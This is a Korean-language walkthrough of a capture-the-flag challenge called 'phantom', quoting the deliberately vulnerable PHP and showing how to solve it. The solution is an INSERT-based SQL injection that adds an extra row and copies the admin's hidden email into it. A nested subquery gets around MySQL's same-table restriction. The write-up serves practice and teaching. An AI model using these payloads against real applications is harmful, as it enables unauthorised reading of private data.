공격 백터

  • Get 메소드 : joinmail, email

입력 값에 대한 검증

  • joinmail : duplicate 필터링
  • email : htmlentities 함수, addslashes 함수

코드 설명

if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
}

joinmail의 입력이 있을 경우 내 아이피 주소와 입력한 joinmail이 insert문으로 DB에 저장된다.

 

$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";

joinmail 이후 select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'를 실행하여 DB에 내 IP로 저장된 email이 있는지 조회를 한다.
현재는 joinmail를 입력하여 insert문을 실행시키지 않았기 때문에 select no,ip,email from prob_phantom where no=1으로 실행이 된다.

 

실행된 결과는 테이블로 출력되는데 no=1일 경우 email 값을 ***************으로 치환하게 된다.

 

$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }

select email from prob_phantom where no=1 and email='{$_GET[email]}'의 결과값과 공격 백터의 email와 비교하여 같다면 문제 클리어를 할 수 있다.


문제 풀이

?joinmail=test

일단 한번 어떻게 저장이 되는지 확인하기 위해 joinmail에 test를 넣어서 보냈다.
저장된 값을 확인한 결과 코드의 설명대로 내 IP주소와 입력한 joinmail이 출력된다.

 

이때 등록된 데이터는 no가 0으로 설정되어서 email이 ************로 치환되지 않는다.

 

?joinmail=test3’),(0,’223.39.213.156’,’test3

나는 insert문의 value에 여러 데이터를 삽입시키는 방법으로 값을 하나 더 추가 시켰다.
이를 이용하여 내가 원하는 값을 email에 삽입할 수 있다.

 

?joinmail=test3’),(0,’223.39.213.156’,(SELECT tmp FROM (SELECT email as tmp FROM prob_phantom WHERE no=1) as result))#

위와 같이 value 안에 쿼리문을 넣어서 admin의 email를 출력하여 저장하였다.

 

email에 admin의 이메일을 넣어서 서버로 넘겨주면 문제를 클리어할 수 있다.

 


SQLi 쿼리문 설명

(SELECT tmp FROM (SELECT email as tmp FROM prob_phantom WHERE no=1) as result)

왜 이렇게 복잡하게 쿼리문을 작성했을까?

 

그 이유는 위와 같은 에러가 나타나기 때문이다.
이 에러는 INSERT, UPDATE, DELETE 등을 하려는 테이블과 같은 테이블에서 서브쿼리로 값을 끌어오려 해서 발생되는 에러이다.
오라클의 경우는 에러 없이 실행되지만, MYSQL은 위와 에러를 발생한다.

 

같은 테이블에서 서브쿼리를 사용하는 방법은 서브쿼리를 (SELECT tmp FROM (SELECT email as tmp FROM prob_phantom WHERE no=1) as result)와 같은 방식으로 감싸줘서 값을 끌어서 사용해야 이러한 에러가 발생되지 않는다.

 

쿼리문을 자세히 설명하자면, SELECT email as tmp FROM prob_phantom WHERE no=1은 사진과 같은 결과를 반환한다. 또한 이 반환값은 앞의 SELECT tmp FROM에 의해 prob_phantom이 아닌 반환값에서 tmp로 출력된다.

복사했습니다!